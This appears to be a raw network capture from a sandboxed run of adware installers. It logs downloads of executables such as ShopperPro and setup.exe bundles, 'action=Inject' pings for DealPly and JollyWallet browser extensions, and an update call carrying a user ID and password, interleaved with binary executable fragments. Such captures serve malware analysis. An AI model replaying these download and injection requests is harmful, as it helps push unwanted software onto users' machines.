Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2000000-2249999/4667708
B....>9n...N..j.4...n..R.a.}..$...>!...w.....,...cG..........&[.
.s..(~ ....~*...a.9\..6E..3....*Z..&..uq.um..L.{oB.....r...}.1..;....u
Vr....,..y!.y...v..B...'.@'\~...{....0...'...4....h..y^c#G......?..(&g
t;........I9.......TbPw.8..r7..O....L........?.F.....K.C..aV...x5.E...
z..)...i..,F.h..bB....bF&pZ........pD...D.iS .?E....H.z..t;...."....8.
...(j\...:...#M.B.=U..f.;!a...,.R.C..?.O."*a....Xa.f..t....U......c..M
.4..;K.>.NN...! Z......x...A_.q-.?....x.'..^U... d.t.n$b........D.d
.z.Vg.6..=K....3....,..F....]........E)F..t:,.4'!....q../7W.....]...p.
.a.B~.,.........,......V.s...<b.c.=H...&.......)QW.U...S....|7/....
.g..c....%v9.2.ON .q....%{..f.f....I.. /......d.t...?..$<X.....VM..
}..7...|...'.1.6...........k.s.I.J.LK.^......U6...KJ..@....`..K%n...7.
4 q....w...s.U$=R.....].x9.... .&../..iA.br...M... ..H..4.>6.=..h/.
........?..:..#..be..po.q....OHV.lk.Q...2jl.1qI..S..q4=B....z..U..;.lO
.oZ'.....!.....}|v.V.3....K.}E.....w.?......-....n#3................j!
.......r..d..............,@....../[email protected];dW..../.pe....'..L..
&...ik.. .r....]..O.....f...........C...........RC|.>.`.. jX....Y..
ME....B...f....N.0C{.5..w...6.......R....N*L...k.S.R..i~..e.O...4..y.w
.W...6.....zW.....W....1Sk....xVa.C0..8Q.|i.s.,..w......B......{..5.$9
Jwm..[.....OE.Jj .4l.2.`.......9....4...f............z.}...c.I.....l^.
y......d...i..=..@..(...Cd.......<.G&....f)x.S.....~z.{# .........5
....01....\UG.m:;.v.z|;..<..eK..b...../?d.t...O..db.?..N/.....>.
...b.N.y.-....WCI.93...2q.....0.....B...j#\2.)l.I...}..k.._....._W
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: mjqap06up-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: mjqap06up-su78sj1t.netdna-ssl.com

Connection: Keep-Alive





[l..{..p..O..E..E2.SsP..b.>d.......3.nqX..-...7.O.......Ce.\;.E...Y
[.x...'.a ..=...V....I.....E.Q..$..\...[..J.l....y.-.0Z.....m%..y.$...
L...[.6w^7.2 .....<v..8.,.M ...../Uz.b7..&..=V...............r.....
.{.....Q-..z..X..g.....w.Wi.H<.'..X|...<.....G!.`..I."n9........
.... .....A.....Z...l.[.c....<.......E{./[email protected]...../~.U...(...
l..j..Z....Z4QF{...0....:.'.w."z..n.W....k$..K.<....t..{.F. ..c.)ll
b_A=8XH..c...V.s..q.qy9....0 .. A...]Ky..........f..~.A..ANt... ..~?.G
..._[.....k...I(Z...O...2..>7`.V...8...u.......w......&..sIWr..:.iu
... ....v...U.s[~...."3.{Z..w.g.{Zu6].....JRF3xN...y...Xeg...c.)i....{
F$r....F...(..._.......Y.<.|N.F(.\...2x.3.I6W#1....q..l..[o/;~.0X..
..5........WC.W.#.'.v.OC{..}.......`..b..J.4.^.6s..3.Qc.F....l3s.....B
.........uD......Y..g...}[email protected]!& ..."........<o*...../&j1po.E...
.......tn....D.Oc.b...........'...g..."Q.....K. ..6y.1.....o.`......&.
.y.|......`#..v|..>@.a..s..R)S[...H.%_K....,?.\....0%/iY...@h......
....c.S..&F.f.*.B.7Zy..Dz.Zc.3...,.Z....gt^.k.P.88..D. .l..f..4..qC...
Y.N.iKc.A.2B.a.....r..CR.c...N.n.;`../$K...K....e.X..".....j&.{..?.S..
..]0m...X..,^..5....q...F.LW........R..Q..2......p7T..?._....n.n......
.lX.DL..\...n.t....]Q...S..8.apE.yT.(8|.M&.O...j\...o#h..x...V..{.r..G
O^.......7.|v5r........."*.." j,`.:.{.rf./PJs..3...l^^...5.;aE....n-..
#!a.-L.$..... ........EU.S......,_:.V...5..v..........p.wj)K.....'.,..
\,~.:"bU.pBm...v...%ekF.Qr..7...y=.....7...c.|.....'Z..-.u.,_.NxX....8
>Q..D..!...7.g3W......=..%..6.L.....d.p..Q.Nh.3}..2V..%3..aB.4/
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: mjqap06up-su78sj1t.netdna-ssl.com

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Date: Fri, 30 Jan 2015 01:28:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: aqgF6cB4CajBdIPCmaadtK2bFRSg2T1QjpL5jEYKBxQFhnhRczGzgeYi6B0VJPhy

x-amz-request-id: C9CDA2C9A766912B

Last-Modified: Wed, 28 Jan 2015 18:17:55 GMT

ETag: "39bc3f97d5142d9e0fe6f66ec0142427"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3750000-3999999/4667708
2.H.2./..>.j...o..3...);WM..1.'.}n.uj.e..-...Q=..}......2..../2...c
..|.S2...,n...2.2.~...jk....G..-?..)...j.....).....a^.e.|]C~.d.$.~P;7.
w5I.w..,=`!4....E...c....5..@..}..C....G.;|B..}.5.........~.........`.
...zG.z....hH.F..HZ*.F.".k...qB........0z..r..].';.2...g.).'...e.....,
.pF.....Z..\.<K....oT.V6IGmYy....|.C_....w.1.%..@...(..?.T...l...[Z
....8.3.......s...u1.>.Sf..P......H.G../N[....`C5...06}....N.Q.F.0.
;...2......hP[7}TEQ......;....B.T....j..$..H.Cs0u.n7Q..-.1.#...R....Y.
.aAqU.E...G.._.y.6..V.....V.&.1".....I!... ......4.H.l.......y7.....l.
..K..t.lk.]..Cx......f.%..{L.)...X~..?._)..1....."n)[email protected].
....E.z....J".....C}eL..|...!.Q.y...Y...>.q:.h..Q..n..;We....R.....
.....a...e.......m.%:./...tO.-iX?...=.....8.R....'..6......tK......CVy
...Rz../..q..3O.._Z4..I..L.....e.........M.G}HA.c...$.nB5j...f. .....*
x. ...JwG..6...t7. .D.`......3..voo..>.N.....!..i....q.....6.y*....
U.hP.4.......2n Y.o.v^%{A>.0......|.Y.).p.Q....\bO....6..!.X,..{.#C
..J.u.^..X.y,...)wQ....`.m'......).......)R.@I{...a.U....E%....X......
A...Fr]$....'.).6....t......c9..=.L..r".".....{..om.>..q{.<..s..
[email protected]..._.H.A.....F.O..-..!..Otkm....h......".7..H:..'...*
.W"l.....~} Z.C.=.n>`........F.8......K..(.v....{.L..D.....0Tm...I:
'....{[email protected]/.8.Y..Zd?cW...&..V.P.N/'.h.r.1.a..Q.v
...A8.6..I...........[<j.....*.c\E..;U.%.:e...n..9b..N.....{..i.K(.
.....Y{.......#..^.\...`..abaC....N&UI.P.\...S.Y...5../..#....]....`6.
 .e.9nc.H.|.i........\.*..3..8.,).P_..~`..,..5./A....B.*..L..JX...
<<< skipped >>>


GET /finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:29:17 GMT

Content-Length: 403
<head><title>Document Moved</title></head>.<
;body><h1>Object Moved</h1>This document may be found &
lt;a HREF="hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9
.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&am
p;VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=
Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&Bu
ndleID=NONE">here</a></body>HTTP/1.1 301 Moved Permanen
tly..Content-Type: text/html; charset=UTF-8..Location: hXXp://VVV.yout
ubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,
55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0
&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&Bu
ndleID=NONE..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: F
ri, 30 Jan 2015 01:29:17 GMT..Content-Length: 403..<head><tit
le>Document Moved</title></head>.<body><h1>
Object Moved</h1>This document may be found <a HREF="hXXp://w
ww.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtyc
l1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA
_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_Is
Connected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE">her
e</a></body>....
<<< skipped >>>

GET /finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

Set-Cookie: ASP.NET_SessionId=3gioya300tgnfdg22kehbawi; path=/; HttpOnly

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:29:17 GMT

Content-Length: 2028
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"~..7N...O.<y...<M...L_~..
..I.......wr...7O....o.x...w.7u.l....Yy........m.zt........../..yu..`.
.e.u.......GG.9.L.-.e.Y.........?.....q[.eN....y.|.^W......e.feY,/...Z
.YO..x:.............y...l..........X}.N.e./..>....y.pWWY;....:...b.
WMzU..j.....y^..l9../.k....M.|....~.__U..>......g...~6.?.nG..Q..y..
.\' .v.....g..H..o.W..]..k.....t..M.~.n.....7NRz..(..u^~..4[V.b.....:?
[email protected].) ...M{]....6.O.....l.#.O...y.Q.....52.d....2.
.n.../Z......`|oL...45.^...2..>:z|W~......2..S..b............].'..B
g....hj.....VUC......>.=~.............0[.........E{=-w.....w.....M.
>...w.lg{.:..~..............4.7.f......./N..Y.6...q.g;../.Y..=.....
2.?.n..UW....||..7-.i..>.5..p...._..>[email protected]...
rE.$D...YN.)......<;...7.o......\S..W./.^}.{}.....o..y../...{.....A
V.yx.2[./.........._.}z}u..^f_........'_|&|...`D.._~.v.}~....../_....Q
|..OO...?..DW.3..YC....V.....~...|....%...^,...o.LjzW........j....JR.1
E.....EU..s:.Cy|7.......I?....P'....AE..?.x.{..y}.z..y..]}q..u...hl4g.
o..........QL.K..~.k.F.l...O...L....$..&......L3.......6.......~..')..
.^...Sz..SP>....|.g...7"....k.G.....p........'......m.....!...c.).5
N..2...).&./.....V...>...2.^../...eU..k...J>.d.......k# ...F..?i
Jg))..{.:R3P..&S&V.fU........3f[u5....N.G.U.v..G;d.s.....>.K\.._...
u{;....!6.}~....y......"O....c.D....X...J....;yz...{......Y.....I...._
......vw?...`.pS.2[^...g.G..6..q,..-.mn8.J.2.;.gs.2..%.?..ly......
<<< skipped >>>

GET /styles/yta.css?v=1 HTTP/1.1

Accept: text/css

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=3gioya300tgnfdg22kehbawi




HTTP/1.1 200 OK

Content-Type: text/css

Content-Encoding: gzip

Last-Modified: Tue, 10 Jun 2014 08:53:10 GMT

Accept-Ranges: bytes

ETag: "05f91678984cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:29:17 GMT

Content-Length: 1754
...........Z.n.6../.w...].[.d....j.v..mWC1P.m..D....B.l.{....'..('....
j..E....s.............d{\nAX}....s\.....|...&.[.....&; .~....Y..h.....
...\.....1. ... . !-P.. ..p.....\Ws.d...h.V.8..V...v...v.hS....*0/b(..
v#...8.........>.9$x/....#..B`.p. *...l8.......9..6.....,QD.c....3:
.Fa}...".....$1..9D.3.e"kv.^..m8.7M.a..b. ..1h..r...].P.N......{.]....
}...!.V...SQ..5%.G.a.<.)..[.`..m...=Iyif.r3X.{W......{..].......q.q
.<........gP' ..P...4.. .v..4'Q.M.B.~.M8.X....!.S#.w.....a/..sD...C
..`....O....a.P/.. 7%Y]..SD.....c.8..&......-VK....|..c.vfA2X.e..a.l%G
%.uL..b.q,.G[b......r..:)%y...F$w..C.r|'........N....;.../.Z.....0.G..
..93.....b....Pd....3`.qY5<...............G....Q...vo......{A;..q..
...z.Z..qo.1...*.....GV._C...vq...g..lu[g.9.9n...i^..s..{..b.....!...o
8...z..c.AE.M.S...h...n<.\.....:O..F..a^.`N.EP...Ul..o.e4.....8...0
..K.^#...{=Yqsy.h........gw...x_....).............NL...... ..2..!.6...
~-z..5hGv...Gj...,N..0....{ N.......k.iD .......i\..5.:39...b.H..k.`..
"............y....v..M.%..G.x%.X(....|0=.....{...M.., .q.* &"-.......6
.v.....G......5..o...}.hE..h..l-v....U...v.^VP...?.hy..9:U...E..q.k.\.
..V.<K....>G......'..U.S....j.p%.......]..7.`..I`6).....k.W.....
.).\.r. ...._..#fm...p8-}.}..].C5.b*W.r..!.V.....p.(..!.D]..}.aJ......
..".qy'...aT..Z......".3j....D...wdj....R/.....B}.....q..2....J2...m..
..f.k.0.....6....W.........m.8.-Q!6..M..........%...8>....4...Y.L&.
`WC.?..y.E7.N.....Yt...,P.U..uJ:N|..Nz.J...O..... ?%....C.8%.........h
..U.'.n&Oe..h....x....%....~...):........7..c..[]x....H.u.O.._..g#
<<< skipped >>>

GET /ConversionService/getScript.ashx?s=finish HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=3gioya300tgnfdg22kehbawi




HTTP/1.1 200 OK

Cache-Control: private

Content-Type: application/x-javascript; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:29:18 GMT

Content-Length: 1035
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"..:..........r...r../..v]/.q6..
^.....j9jG.._......M./......EMG....G.U.f.9.........G.PCj.=......dD.^..
.~..b .~.....Ev......~.....u...4.g.t..~..:........G.......6..g{..?....
.w.:....!>...v.5......G..,?/...._......~..;...."o........E...>..
..#j7...E;?..=...|...V.rv2/..V{..V}..I5.&.k.........S.YM...q.s.@..".!M
.^..x.4o.:..8..y.(.].;L..Y;.....>.9L.j.?WUS..Gi6i.r.....hVev.(]V...
...&......a.n.dD.....}o........).i....:?...O....w....~.G....{../...'.O
>.l.{../..'w>.}T.....E.N.[..C....]?[...p1x..t.~..G.........._..&
gt;c....z.>.VK"I>......4.G).}'..2 ..E..b.]7.. ....2..S.H....MA..
AO...'...>......?..0....:o>...z.V....u[....;w........q|......?..
WY;......{......z..kAZ.A.u .i....C&..a.x..;,>[email protected]|..n:...vk..g.
}.~tx..p..'...;j.U..9.bAr...s...>......a....K..&.....CYi.E.z..}..h{
../.g...o.........M.........W...V....X...!.Y..........)......!........
.....I$n...f^.........T...n...y}YL......GRS.w.G..)....B...v.!A...Z..Kb
[..w6.M.......&x.E...HTTP/1.1 200 OK..Cache-Control: private..Content-
Type: application/x-javascript; charset=utf-8..Content-Encoding: gzip.
.Vary: Accept-Encoding..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 2015 01:29:18 GMT..
Content-Length: 1035...............`.I.%&/m.{.J.J..t...`.$..@.........
iG#).*..eVe]f.@......{....{....;.N'...?\fd.l..J...!....?~|.?"..:......
....r...r../..v]/.q6..^.....j9jG.._......M./......EMG....G.U.f.9..
<<< skipped >>>


GET /app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaThGWSENsb8KpDg802 jf0ZKWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUM4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PeiJytV6Yytda&product=EXTFirefox&rnd=1422581322&it=1&action=Inject&text=DealPly HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:21 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 20
15 01:28:21 GMT..Content-Length: 0..


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1422581320&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=4s11le45qfkhc2qxoebayyee




HTTP/1.1 200 OK

Connection: close

Date: Fri, 30 Jan 2015 01:28:19 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 100546
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>.<YTA><
CONFIG><SITES><LEN>99864</LEN>..<ZIP>0</
ZIP>..<XMLVERSION>20131113143800</XMLVERSION><DATA&g
t;..hzmx6NSdzPupSuFmPETTOwEaP5MtN3k5B2a5khhOAdWUsYMpoVIMyJmCvgMilCqVBj
4UbQPeysvtYNiJVZNbRiQ7kiQsDUsNZ3MEYy1JfoBg o4pFsDooC00NO31pfd X8nXxC3V
p1HfKOwdgo62mJR71PwoZndR4AVDfbY4 9wFzk5tF 7727dskH5IZvVtCTpSQRswno298p
arAhgqN6qT czhzLjGJDuSJCwNSw1xwvWc8nan6y8O2JpeHgh8bMQc3Btg097LREoQ8w0F
1OQktY78pcFTqkKychePn/BkFKYzMvpZMy3oEVdiQxtA5xdCc2YpO8/CTqFCBwPADyfxYv
2FEVfbbiJm9OYFcu118IHvVTOrVQafL QEq0UE2pvXQCRnwiLKkp2rjL8gdMtEShDzDQXU
5CS1jvylwVOqQrJyF4 f8Dt4Oelu3aKGRqumrg /iFozngL0PZo7xV IapaBL0J2JDuSJC
wNSw0svxf0mAsRlmEq8DYMfNoIOuCvQUIqzx3Jp/JaHAbdZcJOoUIHA8AP5qvMAtrk934H
d6DRXxR/qRhAvBesE3Xujk7yXbEuF7GpHiEFiCgrxFB5bOBLlmCPV7tVm0pUOGtH43b05W
UQ5y/jTrneLb7G3yjsHYKOtpgOWQYwQw2yOF7cSHoRn1cSqUrhZjxE0zsejhg2EGJPm5Xv
sdYcwlgFCPIGtJXT5or44D/zrQcOo12lJj5r3ojdmAGFido 37oT3SwxUyBYApR71PwoZn
dR4AVDfbY4 9zwk5A4Jnge/RPdLDFTIFgCZLLU7dfR VD VN6OwG s/84tOgdW/RrWk0GO
NPWePfzAC91wf62CJMVfxez40MStk0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7
LRCtQYSZvjaZZMK3muQBGik0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7Ku
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2gv7sxh1xary4.cloudfront.net

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Thu, 29 Jan 2015 10:04:18 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-321631/321632

Age: 105

X-Cache: Hit from cloudfront

Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _IATbEWRvvrPjaqndnj_t8YDD7WOYRO3-TCGRlrQiVYKUQ9ugPPdiA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.
<<< skipped >>>


GET /app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaThGWSENsb8KpDg802 jf0ZKWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUM4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PeiJytV6Yytda&product=EXTFirefox&rnd=1422581322&it=1&action=Inject&text=JollyWallet HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:21 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 20
15 01:28:21 GMT..Content-Length: 0..


GET /software_files/freezip/9_20/FreeZip920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 30 Jan 2015 01:27:05 GMT

Content-Type: application/octet-stream

Content-Length: 1119845

Last-Modified: Tue, 30 Jul 2013 12:25:29 GMT

Connection: close

ETag: "51f7b0b9-111665"

Content-Range: bytes 0-1119844/1119845
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
..


GET /smt2b/all/hat/row/setup.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: dl.newinputinfoservice.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:28:59 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1422503079"

Last-Modified: Thu, 29 Jan 2015 03:44:39 GMT

Cache-Control: max-age=1062

Content-Length: 204248

Content-Type: application/x-msdownload

X-HW: 1422581339.dop010.am4.t,1422581339.cds061.am4.c
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......'...c.l.c.l.
c.l..&..p.l..&....l..&..L.l.j...d.l.c.m...l.....k.l.....b.l.Richc.l...
......PE..L....k.T.................V...........".......p....0.........
.................`..............................................l...P.
...................................w..8...............................
@............p...............................text....V.......V........
.......... ..`.rdata.......p.......Z..............@[email protected]......
....................@.................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.............................................U...E..8.u.3.][email protected].
 .]...4.2..U...E..V....4.2.t.V.....Y..^]...U...U..A.;B.u...;[email protected].
]...U...E..U....H.]...U..QQ.u....u..U.R.P............U...E.;H.u...;E.u
[email protected].]......2...x62..v...Q.u..e.......Y.....2..E.Q.M..|....e...M..E
......E.d............52../...QV...u..M...E....4.2.t.V.....Y.M...^d....
........52......Q.M..M....4.2..M.d...........2...x62......Q.e..W3.G9}.
u..M.h..2.........u..u..$....e...M..}..E._d............52......QV...u.
.M...E....4.2.t.V.....Y.M...^d.............2...x62..B...Q.u..e....
<<< skipped >>>


GET /mg?alpha=GHwbTD8pRCNhC1gyNGYwGThIQT8YOhk9TWZkEQpVb1laUz45CQY+UWhLGjgbMWgDETFpfnxJfHJzQxUhC3QhQUpgKwcDNEgJQzZrVi9y HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

